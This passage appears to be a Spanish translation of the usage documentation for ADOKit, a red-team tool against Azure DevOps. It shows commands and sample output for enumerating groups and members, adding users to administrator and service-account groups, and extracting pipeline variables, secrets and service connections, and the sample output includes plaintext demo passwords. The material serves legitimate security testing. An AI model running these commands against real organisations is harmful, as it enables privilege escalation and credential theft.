[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Obtener Miembros del Equipo
#### Caso de Uso
> *Obtener miembros del equipo para un equipo dado*
#### Sintaxis
Proporcione el módulo `getteammembers` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará el nombre del equipo, el nombre de usuario del miembro del equipo y el nombre para mostrar del miembro del equipo.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Salida de Ejemplo```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Listar grupos dentro de una instancia de Azure DevOps
Proporcione el módulo listgroup, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Buscar Grupos
#### Caso de Uso
> *Buscar grupo(s) específico(s) en una instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `searchgroup` y sus criterios de búsqueda en el argumento de línea de comandos `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo coincidente.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Ejemplo de Salida```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Listar todos los miembros de un grupo determinado
Proporcione el módulo getgroupmembers y el/los grupo(s) que desea buscar en el argumento de línea de comandos /group:, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal de usuario del grupo coincidente, junto con cada miembro de ese grupo, incluyendo la dirección de correo y el nombre para mostrar del usuario.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Obtener Permisos de Proyecto
#### Caso de Uso
> *Obtener un listado de quién tiene permisos para un proyecto determinado.*
#### Sintaxis
Proporcione el módulo `getpermissions` y el proyecto que desea buscar en el argumento de línea de comandos `/project:`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre principal del usuario, el nombre para mostrar y la descripción del grupo coincidente. Además, mostrará los miembros del grupo para cada uno de esos grupos.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Ejemplo de Salida```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Añadir un usuario al grupo de Administradores del Proyecto para un proyecto dado.
Proporcione el módulo addprojectadmin junto con un /project: y /user: para que un usuario dado sea añadido al grupo Administradores del Proyecto para el proyecto dado. Además, proporcione la información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Eliminar Administrador de Proyecto
#### Caso de uso
> *Eliminar a un usuario del grupo de Administradores de Proyecto para un proyecto determinado.*
#### Sintaxis
Proporcione el módulo `removeprojectadmin` junto con `/project:` y `/user:` para que un usuario sea eliminado del grupo `Administradores de Proyecto` para el proyecto indicado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Ejemplo de salida```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Añadir un usuario al grupo de Administradores de Compilación para un proyecto determinado.
Proporcione el módulo addbuildadmin junto con /project: y /user: para que un usuario determinado sea añadido al grupo Build Administrators para el proyecto dado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Eliminar Administrador de Compilación
#### Caso de Uso
> *Eliminar un usuario del grupo Administradores de Compilación de un proyecto determinado.*
#### Sintaxis
Proporcione el módulo `removebuildadmin` junto con un `/project:` y `/user:` para que un usuario determinado sea eliminado del grupo `Build Administrators` del proyecto indicado. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Salida de Ejemplo```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Agregar un usuario al grupo de Administradores de Colección de Proyecto.
Proporcione el módulo addcollectionadmin junto con un /user: para un usuario determinado que se agregará al grupo Project Collection Administrators. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Eliminar administrador de colección
#### Caso de uso
> *Eliminar a un usuario del grupo de Administradores de la Colección del Proyecto.*
#### Sintaxis
Proporcione el módulo `removecollectionadmin` junto con `/user:` para eliminar a un usuario del grupo `Project Collection Administrators`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de detalles del módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Agregar un usuario al grupo de Administradores de Compilación de Colección de Proyectos.
Proporcione el módulo addcollectionbuildadmin junto con un /user: para que un usuario determinado sea agregado al grupo Project Collection Build Administrators. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de Detalles del Módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Eliminar Administrador de Compilación de Colección
#### Caso de Uso
> *Eliminar un usuario del grupo Project Collection Build Administrators.*
#### Sintaxis
Proporcione el módulo `removecollectionbuildadmin` junto con un `/user:` para un usuario determinado que será eliminado del grupo `Project Collection Build Administrators`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte [Tabla de Detalles del Módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Ejemplo de Salida```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Agregar un usuario al grupo de cuentas de servicio de compilación de la colección de proyectos.
Proporcione el módulo addcollectionbuildsvc junto con /user: para que un usuario dado sea agregado al grupo Project Collection Build Service Accounts. Adicionalmente, proporcione cualquier información de autenticación relevante y la URL. Consulte la Tabla de detalles del módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Eliminar cuenta de servicio de compilación de colección
#### Caso de uso
> *Eliminar un usuario del grupo Project Collection Build Service Accounts.*
#### Sintaxis
Proporcione el módulo `removecollectionbuildsvc` junto con un `/user:` para un usuario determinado que se eliminará del grupo `Project Collection Build Service Accounts`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte la [Tabla de detalles del módulo](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Agregar un usuario al grupo Project Collection Service Accounts.
Proporcione el módulo addcollectionsvc junto con un /user: para que un usuario determinado sea agregado al grupo Project Collection Service Accounts. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte Tabla de detalles del módulo para conocer los permisos necesarios para realizar esta acción.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Eliminar cuenta de servicio de colección
#### Caso de uso
> *Eliminar un usuario del grupo Project Collection Service Accounts.*
#### Sintaxis
Proporcione el módulo `removecollectionsvc` junto con un `/user:` para un usuario específico que se eliminará del grupo `Project Collection Service Accounts`. Además, proporcione cualquier información de autenticación relevante y la URL. Consulte [Module Details Table](#module-details-table) para conocer los permisos necesarios para realizar esta acción.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Ejemplo de salida```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Extraer cualquier variable de pipeline que se esté utilizando en uno o varios proyectos, que podría contener credenciales u otra información útil.
Proporcione el módulo getpipelinevars junto con un /project: para un proyecto dado a fin de extraer cualquier variable de pipeline que se esté utilizando. Si desea extraer variables de pipeline de todos los proyectos, especifique all en el argumento /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Obtener Secretos de Pipeline
#### Caso de Uso
> *Extrae los nombres de cualquier secreto de pipeline que se esté utilizando en uno o varios proyectos, lo que indicará al operador dónde intentar realizar la extracción de secretos.*
#### Sintaxis
Proporcione el módulo `getpipelinesecrets` junto con un argumento `/project:` para un proyecto específico y extraer los nombres de los secretos de pipeline que se estén utilizando. Si desea extraer los nombres de los secretos de pipeline de todos los proyectos, especifique `all` en el argumento `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Ejemplo de Salida```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Extraer cualquier grupo de variables y las variables correspondientes que se están utilizando en uno o varios proyectos, que podrían contener credenciales u otra información útil.
Proporcione el módulo getvariablegroups junto con un /project: para un proyecto determinado a fin de extraer cualquier grupo de variables que se esté utilizando. Si desea extraer grupos de variables de todos los proyectos, especifique all en el argumento /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Obtener Conexiones de Servicio
#### Caso de Uso
> *Lista cualquier conexión de servicio que se esté utilizando en uno o más proyectos, lo que dirigirá al operador a dónde intentar realizar la extracción de credenciales para cualquier conexión de servicio en uso.*
#### Sintaxis
Proporcione el módulo `getserviceconnections` junto con un `/project:` para un proyecto dado, para listar cualquier conexión de servicio en uso. Si desea listar conexiones de servicio utilizadas desde todos los proyectos, especifique `all` en el argumento `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Ejemplo de Salida```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
